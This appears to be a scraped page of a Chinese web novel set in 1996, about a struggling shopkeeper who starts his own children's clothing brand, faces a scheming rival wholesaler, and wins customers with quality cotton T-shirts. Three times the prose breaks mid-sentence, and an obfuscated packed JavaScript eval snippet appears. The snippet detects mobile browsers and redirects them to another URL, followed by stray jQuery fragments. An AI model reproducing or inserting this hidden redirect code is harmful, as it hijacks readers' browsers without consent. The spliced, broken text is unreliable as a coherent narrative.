林凡没说话,眉头轻轻蹙了起来,指尖在柜台上轻轻敲着,心里盘算着:
黑皮进去前,跟自己抢过夜市的摊位,还放话“不让你好过”,现在他的小弟没散,肯定还记着仇。
这次来探店,说不定是想看看店里的情况,要是有机会,就来捣乱——比如偷东西,或者故意找茬吵架,影响生意。
他回头看了眼笑笑,笑笑还在堆积木,没察觉到刚才的紧张,手里拿着块黄色积木,正往“房子”上搭,嘴里还哼着幼儿园教的歌。
心里更沉了——得保护好笑笑,不能让她受惊吓,上次黑皮来闹,笑笑吓得哭了半天,晚上还做噩梦。
更让他心里发紧的是第二天下午。
钱老西背着双手,慢悠悠地从店门口走过。钱老西是县城里的老批发商,以前给林凡供过货,总喜欢压价、掺次品;
上次给的一批童装,里面混了三件有破洞的,林凡找他换,他还说“小破洞不影响穿,你卖的时候便宜点就行”;
后来林凡就不跟他合作了,他还在背后说闲话,说“笑笑宝贝屋的货是次品,卖不出去才换货源”。
这次他不像平时那样直接进来找茬,而是站在玻璃门外往里面望,手里拿着个紫砂壶,壶嘴歪得厉害;
他抿一口时,茶水顺着壶嘴流到下巴,他用袖子随便擦了擦,袖子上的茶渍叠着茶渍,黑一块黄一块。
他的眼神像钩子似的,扫过文具货架,掠过玩具区,最后停在柜台上方,昨天林凡把浅灰的样品挂在了那里;
想试试客人的反应,淡灰的布料在阳光下很显眼,不少家长都问“这是新到的童装吗?看着挺软,多少钱一件”,有个妈妈还说“要是卖,我想给娃买一件,看着比别家的舒服”。
钱老西的嘴角勾了个笑,不是平时的干笑,是藏着琢磨的笑,像根弯钩子,眼角的皱纹挤成一团,盯着样品看了两秒,像是在算这块布值多少钱,又像在想怎么把这生意搅黄。
然后,他才慢悠悠地移开目光,背着手往街那头走,脚步比平时慢了半拍,走了几步还回头看了一眼店门,那眼神里的算计,林凡看得清清楚楚,像淬了冷的冰。
两人的目光隔着玻璃碰了一下,钱老西没说话,只是轻轻点了点头,那点头不像打招呼,更像一种“确认”——确认林凡在搞“新花样”。
林凡的心“咯噔”一下,像被冰锥戳了下,凉得慌。
这个老狐狸,鼻子太灵了——他是不是看出样品不对劲?
是不是察觉到自己在搞“新花样”,想自己做童装,不再从批发商手里拿货?要是被他知道了,说不定会找红星厂的麻烦——
比如跟徐主任说“林凡付不起加工费,是骗子”,让徐主任停工;或者在县城里散布谣言,说自己的衣服质量差,是“小作坊做的,不卫生,孩子穿了会生病”。
他赶紧走过去,把样品从挂钩上取下来,叠的时候,手指蹭到了样品上的白绒,绒掉在柜台上,他赶紧用手抹掉,生怕留下痕迹。
塞进抽屉后,还把进货账本压在上面,账本有两指厚,刚好挡住样品的边角,连一点布料都没露出来——
是他太急了,忘了这小县城的风传得快,一点新动静都能被人盯紧,这不是给人递把柄吗?以后得更小心,样品不能随便露出来,跟红星厂的合作也得保密,连熟客都不能说。
可开弓没有回头箭。
十天的期限快到了,样品马上要做好,定金都付了,现在退缩,不仅亏了钱,还丢了机会,更对不起自己心里的那点盼头;
那是让笑笑过上好日子的盼头,是让“笑笑宝贝屋”活下去的盼头。
林凡咬了咬牙,指节捏得发白,心里定了主意:只能更小心。他拉过王猛,声音压得低低的,几乎凑到王猛的耳朵边:
“最近要是再看到陌生面孔,别跟他们说话,也别让他们在店里多待,要是他们问东问西,你就说不知道,有事等我回来。
一有不对劲,就立刻关门走人,我尽快出去把事情办好,然后尽快回来;还有,别跟任何人说咱们自己做童装的事,尤其是钱老西那边的人。
他跟不少批发商都认识,要是传出去,说不定会联合起来压咱们,让咱们进不到货,也卖不出货。”
王猛赶紧点头,拍着胸脯保证:“你放心!我盯着呢!谁要是敢来**,我就喊隔壁的张叔、李哥他们帮忙——
张叔以前是退伍军人,能打!上次有小混混来抢东西,被张叔一脚踹翻了,再也不敢来了!绝不让他们欺负咱们,也不让笑笑受委屈!”
终于到了第十天。林凡一大早就起了床,给笑笑煮了鸡蛋和小米粥,鸡蛋是土鸡蛋,黄澄澄的,是张阿姨送的,说“给笑笑补营养”;
小米粥熬得黏糊糊的,放了点冰糖,笑笑喜欢吃甜的,还加了点红枣,是上次林凡赶集买的。看着笑笑吃完;
就把她背上,笑笑上衣的拉链坏了,用个小夹子固定着,上面还挂着笑笑做的纸青蛙;送她到店里王猛身边,才背着背包去了汽车站。
红星厂的车间里,五件样品整齐地摆在桌上,浅蓝、米白各两件,还有一件鹅黄色的备用款——像小鸭子的颜色,格外可爱,是徐主任特意加的,说“多做一件,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607501|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让你多看看”。
100、110、120厘米的尺码都齐了,叠得方方正正,上面还放着张纸条,是徐主任写的,字很工整:“样品已预洗(冷水浸泡30分钟,正常晾晒),无缩水,无掉色,可放心——我家小孙女试穿了,说软得很。”
林凡拿起一件浅蓝110码的,手指捏着领口轻轻拉了拉,松开后立刻弹了回去,没变形;翻到里面看锁边,密得没一根线头,针脚走得笔直,像用尺子量过似的;
又拿尺子量了量衣长,55厘米,跟图纸上的分毫不差;袖长32厘米,也刚好;口袋确实加深了一厘米,他试着放了个小弹珠进去,刚好能装下,晃了晃,不会掉出来——比他想的还完美,连细节都没差。
“徐主任,手艺没说的!比我想的还好!”
林凡的语气里满是感激,手里的样品摸了又摸,舍不得放下,指尖蹭过布料,软乎乎的,心里暖得很,像揣了个小太阳。
徐主任笑着递过打印好的合同,钢笔帽拧得开,放在合同旁边:
“那就按这个标准来。浅蓝、米白各50件,100-120码各占三分之一,十天后交货——到时候你过来取,或者我让厂里的车帮你送过去?送过去不用加钱,咱们都是实在人,不搞那些虚的。”
林凡接过合同,一笔一划写得认真,名字签得有力,生怕出半点差错——他特意看了合同里的条款,写着“无残次,如有残次,免费返工”,还盖了厂里的红章,才放心。
付了剩余的定金(975元),他把一件浅蓝样品揣在怀里——这次他没敢再露出来,裹在背包最里面的旧毛衣里,贴着胸口,像护着颗滚烫的心,生怕被人看见,连走路都放轻了脚步。
返程的路上,夕阳把天空染成了橘红色,像撒了把碎金,云朵被染得层层叠叠,像棉花糖,有的像小鸭子,有的像小兔子,飘得慢悠悠的。
田野里的麦苗是嫩绿色的,被风吹得晃悠悠的,像铺了层软乎乎的绿毯,旁边的田埂上有个老农在放牛,牛是老黄牛,身上的**有点黄,甩着尾巴,慢悠悠地走着,嘴里还嚼着草;
老农嘴里哼着小调,调子有点耳熟,是林凡小时候听奶奶唱的童谣《月亮光光》,“月亮光光,照在窗上,娃娃睡觉,梦里花香”,听得他心里软乎乎的。
林凡望着窗外,心里又甜又紧——甜的是自己的“牌子”终于要做出来了,以后笑笑就能穿自己店做的衣服,不用再穿洗得发白的旧衣服,还能跟小朋友炫耀“这是我爸爸做的”;
紧的是钱老西和那些没散的暗流,不知道什么时候会冒出来,咬他一口,说不定会在交货的时候搞破坏;
比如在路上拦车,把衣服弄脏;或者在顾客面前说坏话,让大家不敢买,到时候不仅亏了钱,还对不起徐主任的信任。
他摸了摸怀里的样品,软乎乎的布料贴着掌心,像笑笑睡熟时搭在他手上的小手,暖得能化了心里的紧劲。他想起笑笑昨天晚上跟他说的话:
“爸爸,等咱们自己做的衣服做好了,我要穿浅蓝的,去学校给小朋友看,说这是爸爸做的,爸爸最厉害!还要给张阿姨的孙子也送一件,他上次帮我捡了橡皮。”
想着想着,嘴角就忍不住往上扬,心里的甜压过了紧,连风都觉得暖了。
家的暖,商海的冷,缠在一块,推着他往前走。
哪怕前面有风浪,他也得扛着——为了笑笑,为了王猛的信任,为了这个好不容易才看到的、带着光的希望。
车子驶进县城时,街灯又亮了,黄澄澄的光裹着晚风,吹在脸上,带着点饭菜的香味;“李记面馆”的牛肉汤味更浓了,还混着点辣椒油的香;
巷口张婶家的烟囱冒着轻烟,炒青菜的香味混在风里吹出去,勾得远路归来的人的肚子咕咕叫。
林凡攥紧了背包带,目光坚定地望向“笑笑宝贝屋”的方向——
店里的灯还亮着,从玻璃门里能看到王猛的身影;
他正在整理童装区的货架,低着头估计在和笑笑说话,时不时往门口望一眼,是在等他,像在等一个盼头。
新的挑战或许就在眼前,像暗处的蛇,随时可能扑过来。
但他已经准备好了,像握着手里的样品,布料软却有韧劲,能扛住风雨。
只要能让笑笑过上好日子,能让“笑笑宝贝屋”立住脚,再难的路,他都能走下去。
第三十六章:起心动念之间
1996年的清水县
国营厂的烟囱还在断断续续吐着青灰色的烟。
风一吹就散成淡雾,裹着点煤屑味飘进巷弄,落在个体商户新钉的木招牌上,那些招牌多是红漆手写;“晨光文具店”四个字边缘还沾着没擦净的漆点,风吹过时,木牌会轻轻晃,撞着旁边挂的铁皮铃铛,叮铃响。
红星纺织厂的纱锭转得慢了,“咔嗒咔嗒”的织机声稀了,县百货大楼的玻璃柜台蒙了薄尘,指腹一擦就能沾起层灰;而“晨光文具店”门口那两块青石板,被往来的脚步磨得发亮,正承接着林凡和王猛人生里第一波创业的细碎声响;
有拆纸箱的“刺啦”声,有手指捻布料的“沙沙”声,还有两人压低了的、藏着期待的交谈声。第一批一百件“笑笑牌”童装到货那天,天刚蒙蒙亮,巷子里还飘着早点铺炸油条的油香,混着煤炉的烟火气,勾得人肚子发空。
林凡骑着那辆除了铃铛不响哪儿都响的二八大杠自行车,车链吱呀吱呀磨着铁皮,后轮辐条缠了截断绳,一转动就拍打着挡泥板,“啪嗒啪嗒”跟着他的脚步响。
后座绑着三个鼓鼓囊囊的纸箱,纸箱角蹭着他的卡其布裤腿,磨得裤子起了层细毛;车把上挂着王猛托人捎来的半袋馒头,是巷口早点铺五毛钱一个的白面馒头,还带着点温乎气,塑料袋上凝着细小的水珠。
两人蹲在文具店门口拆箱时,硬纸板被指甲抠出的毛边里,裹着老供销社仓库特有的霉味——那仓库在县城西头,原是存化肥的地方,后来供销社改制,隔出个小角落租给散户,月租五块钱。
林凡上次去搬货,手指蹭过墙角的绿毛,黏糊糊的还带着潮冷的气,连呼吸都能闻见陈年土腥味混着旧麻袋的霉味,呛得他忍不住皱了眉;
王猛则直接抹了把鼻子,指尖沾了点灰,又蹭在裤腿上。王猛的拇指缠着圈发黄的旧胶布,胶布边缘卷了边,沾着点黑色的机油印——
是前晚帮邻居修自行车时,被锋利的纸壳划了道口子,他当时随便找了块胶布缠上,没顾得上剪齐。这会儿他攥着美工刀划开胶带,“刺啦”一声脆响,纸屑粘在两人满是老茧的指缝里,混着王猛掌心没洗干净的机油味——
那油污渗进指缝,他用肥皂洗了三遍,指甲缝里还是泛着黑。
一掀开裹在童装外面的白色软纸,新布料的棉絮香就涌了出来,还裹着股老肥皂的淡皂角味——那是红星厂张师傅浆洗时用的“灯塔牌”胰子,国营老厂的老物件,比后来的洗衣粉多了股土腥味的干净。
张师傅浆洗时,会把布料晾在厂子里的铁丝上,旁边就是老槐树,风一吹,槐树叶的清香就沾在布上,现在还能闻到点淡味。
1996年的清水县,红星厂是唯一的国营纺织厂,前两年因为订单减少了近三成,老师傅们的月工资从八十块降到了五十块,闲下来才接些私人定制的活。
林凡为了搭上线,托了三姨夫——三姨夫是红星厂的门卫,跟纺纱车间的张师傅是老战友,两人年轻时一起在部队喂过马。
林凡前后跑了四趟厂,第一次拎了两斤白糖,张师傅没接;第二次带了自家腌的咸菜,张师傅才留他喝了杯热茶。
光等纱线就等了半个月,张师傅说“好棉得等新疆那边运过来,市面上的短绒棉太糙,给娃穿不得”,林凡便每周去厂子里盯进度,有时赶上张师傅加班;
还帮着递杯热茶,看他戴着老花镜,眼镜滑到鼻尖也没扶,只是眯着眼,指尖捏着纱线凑到窗边的光线下看,每根纱线都要在指尖捻三遍,确认没有**糙才往织机上绕,织机“咔嗒咔嗒”响,纱线穿过综丝的声音细得像蚊子叫。
有次林凡撞见张师傅把不合格的纱线扔进废料筐,那筐里已经堆了小半筐,张师傅抓起一把短绒棉纱,手腕一扬就扔进去,“咚”的一声,纱线溅起细棉絮,他盯着筐里说:
“娃的衣服不能凑活,这纱线织出来的布,洗两次就起球,咱不能坑人家爹妈。”
林凡伸手捏起件浅蓝T恤,指尖刚碰到布料,就觉得软乎乎的,还带着点阳光晒过的温乎气。
那是32支新疆长绒棉的特性,纤维比普通棉长两毫米,摸起来像三伏天晒透的棉被里子,软中带着点温吞的糙感,洗十次都不会发硬。
他对着刚爬过墙头的阳光举起来,布料透过来的光是淡淡的蓝,像初夏的天空,透光却不透亮——纱线织得密,连袖口的走线都齐整得能当尺子量,针脚细得要用指尖捋着才能数清,每厘米八针,一根都不差。
他低头看了眼自己身上那件洗得发蓝的的确良衬衫,衣襟处的走线早就歪了,袖口磨出的毛边能揪出细纱,是三年前在夜市地摊上花八块钱买的,去年洗的时候领口破了个小洞,他用针线缝了缝,一直穿到现在都没舍得扔。
“这料子真顶!”
王猛凑过来,粗手掌攥着衣摆使劲扯了扯——他年轻时在工地搬砖,手上力气大,普通棉布经他这么一扯准变形,去年帮邻居搬家具时,他攥着棉布沙发套都拽出了褶子。
可这T恤却只轻轻弹了弹,松了手就恢复了原样,连点褶皱都没留。王猛嗓门本就大,这会儿一激动,声音撞在对面供销社的水泥墙面上,反弹出点嗡嗡的回音:
“嘿!这料子软得能当尿布用!比我家娃那件洗硬了的旧褂子软十倍!我家娃上次穿那旧褂子,哭着说‘扎胳膊’,我媳妇用热水泡了三次,又用石头捶了捶,还是硬邦邦的!”
这话正巧被路过的刘大妈听见了。她拎着的菜篮子里,青椒是刚从早市挑的,带着点露水,塑料袋一捏就“窸窣”响;
还有块刚从肉铺割的五花肉,是三层肥两层瘦的好肉,油汁顺着篮子底的细缝往下滴,落在青石板上,晕开小小的油圈,风一吹,油味混着油条的香飘过来。
刘大妈吸了吸鼻子,才停下脚,探着脖子往纸箱里瞅,眉头皱得能夹起根针:
“猛子,这是啥新鲜玩意儿?你俩不卖作业本,改卖衣服了?”
林凡赶紧递过件米白T恤:
“刘姨,这是咱自己找厂做的童装,纯棉的,给娃穿舒服。”
刘大妈手指捏着衣摆扯了扯,又凑到鼻子前闻了闻,嘴角往下撇:“倒是不呛人,就是这‘自制’的,能比大楼里的强?
去年我在大楼买的‘小白兔’,虽说贵点,但洗了没变形,你这要是洗缩了,不白花钱?”
说着便摇着头走了,菜篮子里的五花肉还在滴油,滴在青石板上的油点,被风吹得慢慢晕开,最后淡成了浅印子。
林凡没急着辩解,他搬来梯子——这梯子是去年收废品时从老王家淘的,木梯腿裂了道缝,他用铁丝缠了三圈,缠得紧紧的,上次修灯泡时踩上去,连晃都没晃。
他把十件不同尺寸的T恤挂在最显眼的货架上,那货架原是放作业本和笔记本的,层板上还留着点蓝黑油墨味,是之前摆的“英雄牌”笔记本蹭的,这会儿跟童装的棉香缠在一起,倒生出种特别的烟火气。
旁边要贴标语,他特意选了张厚瓦楞纸——是之前进文具剩下的包装纸,硬挺还防潮,上次下雨淋了点水都没烂。
红墨水用的是“英雄牌”,渗进纸纤维里不会掉色。他握着毛笔,手腕悬着,笔尖在瓦楞纸上顿了顿才往下写——
前晚他在灯下练了二十多张废报纸,废报纸堆在桌角,最上面那张还沾着墨渍,是写“舒”字时毛笔蘸墨太多洇的,他当时懊恼地拍了下桌子,把笑笑都吵醒了。
现在写“‘笑笑’自制纯棉童装,舒适透气,限量试销”,“舒”字的竖钩写得格外有力,墨汁红得鲜亮。
笑笑凑在旁边,用蜡笔在标语右下角画了个歪歪扭扭的笑脸,眼睛画成了两个圈,嘴巴翘得老高,画完还举着蜡笔问“爸爸,像不像我?”,眼睛亮晶晶的,睫毛忽闪忽闪,倒给严肃的标语添了点活气。
定价时最费心思。林凡把算盘摆在柜台上,算得额头冒了层薄汗,汗珠顺着鬓角往下滑,他用袖子擦了擦,又继续拨算盘珠。长绒棉八块钱一斤,一件T恤要耗三两棉,光布料就两块四;
红星厂的加工费一件一块五,张师傅说“给娃做的要锁边密点,浆洗得用胰子”,又加了五**;还有软纸包装、吊牌——
吊牌是找县印刷厂印的,红底白字,印了个小小的笑脸,一百个吊牌五块钱,印刷厂的老李还特意多送了五个,说“给娃的东西,多备点好”。
算下来一件成本四块六。
他摸着算盘上姥姥塞给他的二十块定金,那钱是姥姥用蓝布手绢包着的,手绢边角都磨破了,里面裹着两张皱巴巴的十块,还带着鸡窝的温乎气和淡淡的土腥味——
姥姥凌晨四点就去菜市场,蹲在角落卖鸡蛋,十个鸡蛋一块五,卖了二十多个才凑够,她塞钱的时候,手都在抖,说“凡子,别怕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607502|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,姥姥还能再卖鸡蛋”。
指腹在冰凉的算盘珠上蹭了蹭,他想起表哥的话:“你这文具店每月才赚百八十块,别折腾童装了,去年东头老陈搞服装,压了一屋子货,最后只能论斤卖,赔得连烟都抽不起了!”
表哥皱着眉,手指敲着桌子,话里带着急,却还是从抽屉里拿出三百五——那钱是他攒着买自行车的,叠得整整齐齐。林凡最终咬咬牙,定了十五块一件。
这价格在当时的清水县很微妙:比巷尾杂牌童装高五块——那些杂牌是掺了30%化纤的,成本才两块,上个月有个妈妈来买作业本时抱怨,说给娃买的杂牌T恤,洗两次就起球,领口卷得像朵蔫了的花;
比县百货大楼低十五块——大楼里的“小白兔”牌纯棉童装要三十块,还是前年的老款式,上次林凡去看,货架上的样品都落了灰,领口的线都松了。
林凡心里没底,怕太贵没人买,又怕太便宜亏了本,那点纠结全揉进了指尖的薄汗里,把算盘珠都沾得发潮。
王猛在旁边啃馒头,馒头咬得“咯吱”响,含糊着说:
“十五块不贵,咱这料子好,值这个价!我上次在工地见工友给娃买的化纤衣,还十二块呢,穿三天就扎得娃哭,后背都挠红了!”
起初几天,顾客多是来买橡皮、铅笔盒的,路过童装区时眼神飘着,没人敢伸手。穿蓝涤卡上衣的赵阿姨是第一个停下的,她是红星厂退休的检验员,一辈子跟布料打交道,最是挑剔。
去年她在巷尾买过件杂牌童装,洗了三次就缩成了娃娃衫,孙子穿不了,只能送给邻居家的小娃,想起这事她就心疼。
她伸手碰了碰T恤袖子,指尖刚碰到布料又赶紧缩回去,像怕沾了什么似的,眉头皱着:
“自制的能靠谱?
“别洗两次就变形,我家小子上次穿的杂牌,洗了三次就缩成娃娃衫了,领口还卷得像朵花。”
林凡赶紧搬了张掉漆的木凳放在旁边,那凳子是他从老家带来的,凳面有圈圈清晰的年轮,是爷爷年轻时打的,爷爷说“这凳子结实,能坐一辈子”。
他把米白T恤摊在膝盖上,指着领口说:
“赵姨您摸摸,这棉线是新疆长绒棉,我去红星厂盯了三天,看着张师傅纺的纱。张师傅纺了三十年纱,手上的茧子比这布料还厚,上次有批纱线纤维短了点,他直接扔了,说‘给娃用的,不能凑活’。”
王猛则守在旁边,手里转着个卷笔刀——那是店里卖不动的样品,刀片都钝了,转起来“咔啦”响——大嗓门亮得能掀了屋顶:
“咱这是实打实的料!不是那种掺化纤的次品,去年我邻居家娃穿化纤衣,后背起了一片红疹,哭了半宿!您看这领口,用的是双股线锁边,洗了绝不会卷!”
赵阿姨还是犹豫,手指在布料上捻来捻去,没说话。倒是有个扎羊角辫的小姑娘,拽着妈妈的衣角凑了过来,羊角辫上的红绳晃来晃去,指尖轻轻戳着T恤上的小口袋,布料摩擦出细碎的“沙沙”声:
“妈妈,我想装糖,装我的橘子糖。上次我的糖放在兜里,都化了,黏糊糊的,洗了半天才掉。”
妈妈皱着眉把她拉开,声音压得低低的:
“再看看,别买亏了,上次在集市买的衣服,回家才发现腋下有个洞,找摊主还不认账,摊主说‘你自己穿坏的’,气得我好几天没睡好。”
林凡看着她们的背影,手指无意识地捻着衣角,心里有点发慌——他想起上个月为了凑五百块定金(红星厂要先付三成定金),跑遍了三家亲戚:
二姨家养猪,刚卖了两头小猪,犹豫半天借了五十,二姨塞钱时说“这钱你要是赔了,不用急着还”;三舅是小学老师,每月工资才一百二,给了一百,还反复叮嘱“别跟人瞎折腾,文具店好好开着就行”;
最后找表哥借了三百五,表哥说“你这文具店都快撑不下去了,还搞童装,要是赔了,你咋养笑笑?”
夜里他翻来覆去睡不着,满脑子都是堆成山的童装卖不出去的样子,连梦里都是仓库的霉味,现在那点慌又冒了头,像吞了口生米,硌得慌。
转机在周六上午悄然而至。
常来买教案本的李老师领着五岁的妞妞进了店,身上带着粉笔灰混着“六神”花露水的味道——李老师在县二小教语文,每天要写三黑板板书,袖口总沾着**笔末,上次写板书时粉笔断了,还溅了一身灰;
第三十七章:问心无愧于爱
花露水是妞妞吵着要买的,说是“能赶走蚊子”,李老师咬咬牙花了三块五买了瓶,自己都舍不得用,只在妞妞睡前往她衣领上喷一点。
刚跨进门槛,妞妞的小皮鞋就踩在水泥地上“哒哒”响,像小鼓槌敲在心上——她的小皮鞋是红色的,鞋尖有点磨白,跑起来时小裙子飘起来,像朵小花儿。
妞妞扯着李老师往童装区跑,小手指着米白T恤的小口袋,声音脆生生的:
“妈妈,你看!能装我的小熊糖!上次我的糖装在兜里,化了黏在裤子上,洗了半天才掉!”
林凡赶紧取了件小号的,指尖顺着领口轻轻展平——领口缝了圈细细的罗纹,是张师傅特意加的,怕磨着孩子娇嫩的脖子,上次张师傅给自家孙女做衣服,也加了这罗纹,说“娃的脖子嫩,粗布磨得疼”。
“试试吧,不合身咱再换,要是觉得紧,我明天就去红星厂找张师傅改,张师傅改衣服可仔细了,上次给邻居家娃改裤子,改完跟新的一样。”
他笑着说。
妞妞迫不及待地把胳膊伸进袖子里,小手在布料里蹭来蹭去,咯咯笑出声:
“软!比我的娃娃衣服还软!娃娃衣服洗了会硬,上次我穿娃娃衣服,胳膊都磨红了!这个不会!”
李老师蹲下来,指尖顺着走线摸了一圈,没找着一根线头——张师傅之前跟林凡说过,
“给娃做的衣服,线头得剪干净,不然勾着皮肤疼,咱不能糊弄孩子”,
上次有件衣服漏剪了线头,张师傅连夜找出来剪了,还跟林凡道歉。她又翻出吊牌看了看,红底白字的吊牌上,那个小小的笑脸跟妞妞画的有点像。
“多少钱一件?”李老师问。
“十五。”林凡答。
听到价格,李老师愣了愣;
县百货大楼的“小白兔”牌要三十块,还没这个软,上次她买的“小白兔”,洗一次领口就卷边,还掉**,妞妞穿了总挠脖子,脖子都挠红了,她再也没敢给她穿,现在还压在衣柜最底下,占地方。
她又拿起条浅蓝裤子比对,裤子腰是松紧的,用的是氨纶松紧带,弹性十足,她拉了拉松紧带,松开后立刻弹了回去,比家里那条洗松了的裤子好多了。
“这裤子好,孩子穿脱方便,我家妞妞总系不好扣子,每次上学都要我帮她系半天,上次还迟到了,被老师说了两句。”
付完钱,妞妞扯着T恤下摆转圈圈,布料窸窣响,像风吹过田埂上的麦穗。李老师跟林凡闲聊:
“比我在大楼买的强多了,那件‘小白兔’的,洗一次领口就卷边,还掉**,妞妞穿了总挠脖子,脖子都挠红了,我再也没敢给她穿,扔了又可惜,留着占地方。”
这话落进林凡耳朵里,像喝了口刚煮好的玉米粥,从嗓子暖到胃里。
他攥着钱的手都有点抖,纸币被指腹蹭得发毛——悬了半个月的心,终于落了点地,连货架上那些卖了半个月还没卖完的作业本,都好像顺眼多了,上次他还愁这些作业本卖不出去,要压本钱。
有了第一个顾客,口碑像春藤似的慢慢爬满了清水县的巷弄。
接下来几天,熟客们陆续来问:穿碎花衬衫的周大嫂来了,她是个爽快人,一进门就大着嗓门喊,
“李老师说你家童装好,我给双胞胎孙子买!”,碎花衬衫是去年做的,洗得有点发白,却干干净净。
她指着两件蓝白T恤,“大的穿蓝的,小的穿白的,省得他俩抢”,还特意让林凡在领口绣“大”“小”两个字,“绣得小点儿,别硌着娃”。
林凡找巷尾刺绣坊的刘姐帮忙,加了五毛钱手工费,刘姐戴着老花镜,一针一线地缝,“给娃的字,得周正”,绣完还对着光看了看,确认没歪才交给林凡;
开自行车修理铺的老张也来了,他手上沾着黑机油,进门先在围裙上擦了又擦,擦了三遍,指尖还是有点黑,他不敢直接碰T恤,只是凑过去看,
“我家丫头穿化纤的总哭,说痒,半夜都醒”,说着就用指腹轻轻碰了碰布料,“这软和”,声音里带着点不确定,又扯了扯领口,见没变形,才松了口气。
“要粉色的,丫头喜欢粉色,上次看见邻居娃穿,回家就吵着要”;连供销社的王主任都来了,她平时只买百货大楼的货;
觉得“个体店的东西不靠谱”,上次她在个体店买过双鞋,没穿一周就开胶了,这次试了件浅黄的T恤,摸了摸布料说“给我外孙女带的,这料子比大楼的软,还便宜十五块,值了”,说着就掏了钱,连价都没还;
最让林凡意外的是赵阿姨,她三天后拎着钱老西家买的浅蓝T恤找过来,那T恤领口已经卷成了麻花,袖口还勾了丝,她手里攥着孙子的胳膊,胳膊上隐约有片淡红色的疹子,声音带着急:
“林小子,你看这!前天听那老钱说便宜,给我家小子买了件,穿了两天就挠得睡不着,你摸摸这料子,硬得像砂纸!我家小子说‘没有林凡叔叔家的软’,这不赶紧来你这儿换两件!”
林凡接过那件仿品,指尖一捻就摸到粗糙的化纤丝,针脚歪得能塞进指甲,他从货架上取了件正品递过去:“赵姨,你让孩子试试这个,要是还痒,我退你钱。”
后来赵阿姨的孙子穿了正品,疹子没两天就消了,她又拉着同厂三个退休姐妹来买,说“咱老红星人就认实在料子,别让那黑心货坑了娃”。
一百件T恤没到两周就卖空了。
最后一件被隔壁杂货店的陈阿姨买走时,林凡翻着账本——账本是用小学生的练习本改的,封面写着“三年级(2)班李明”,是之前进货多了剩下的;
每笔收入都用蓝笔写,支出用红笔,有次他写错了数字,还用橡皮蹭了半天,蹭得纸都薄了,差点破了。
上面的数字被他的指腹蹭得有些模糊,他却能背下来:一百件,一千五百块。他想起1994年在夜市摆摊的日子:那时候他刚下岗,进了五十条靛蓝色牛仔裤,摆在电影院门口的路灯下,路灯的光黄乎乎的,照得裤子颜色发暗。
结果被钱老西雇人换了三条残次品——裤脚有破洞,拉链还坏了,有个顾客买了后,第二天就来找他退,说“你这是卖的破烂”。
那天他蹲在路灯下数着皱巴巴的零钱,眼泪止不住地掉,泪珠砸在钱上,晕开小小的湿痕,连路过的狗都绕着他走,他心里又酸又涩,连晚饭都没吃。
现在看着账本上的“1500元”,鼻子突然有点酸——原来踏实做事,真的能有回报,不像之前总被人坑。
初步成功让两人信心大增。林凡拿着算盘重新算成本:布料240块(100件×2.4元)、加工费200块(100件×2元)、包装50块、定金500块早结清了,净利润有510块。
这个利润率比批发作业本高了近一倍——之前批发作业本,一本赚两分钱,利润率才15%,上个月批了一千本,才赚二十块,而童装能到34%。
他拿着账本去找王猛时,王猛正蹲在门口啃馒头,馒头夹了片自己腌的酱菜,酱菜有点咸,他啃一口就喝口凉水。
看到数字时,王猛差点把馒头掉在地上,嘴里的馒头还没咽下去,含糊着说:
“真这么多?那咱下次多做!三百件够不够?我家娃穿了,邻居都问哪儿买的,我都记着有五个人要呢!
上次隔壁老王还说,要是做童裤,他也买两条!”林凡点头,心里已经有了主意——
立刻联系红星厂订三百件,除了T恤,再加童裤和淡黄色T恤,还特意找巷口修鞋的老张设计“笑脸向日葵”布标,“绣在胸口,黄色的笑脸,绿色的叶子,让人一眼就记住,仿也仿不像”。
老张拍着胸脯说“这布标我给你绣得密点,别人想仿都难,针脚细得他们学不来”。那天晚上他睡得特别香,梦里都是布料的棉香,直到钱老西的人找上门,才把那点甜气搅得稀碎。
那天上午的阳光有点晃眼,照在店门口的梧桐树上,光斑晃得人眼晕。
一个面生的中年妇女走进来,脚步轻得没声,穿着件洗得发白的蓝涤卡上衣,袖口补了块灰布,补丁的线脚歪歪扭扭,一看就是自己缝的,针脚还露在外面,一扯就能松。
她手指上戴着个银戒指,是地摊货,边缘卷了,沾着点灰,戒指上的花纹都磨平了,看不出原来的样子。
她没看别的,直奔童装区,拿起样品T恤翻来覆去地看,指甲盖刮着布料,“沙沙”响,像在刮砂纸;
又掏出个掉漆的放大镜,镜片上有道裂痕,不知道用了多少年,镜柄上还缠着圈胶布,她眯着眼,对着线脚瞅了半天,连标签位置都用手指按了按,按得有点重,吊牌都变了形;
最后还捏着领口扯了扯,力道比赵阿姨还大,像是在故意测试布料的弹性——上次钱老西派人去看林凡的牛仔裤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607503|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
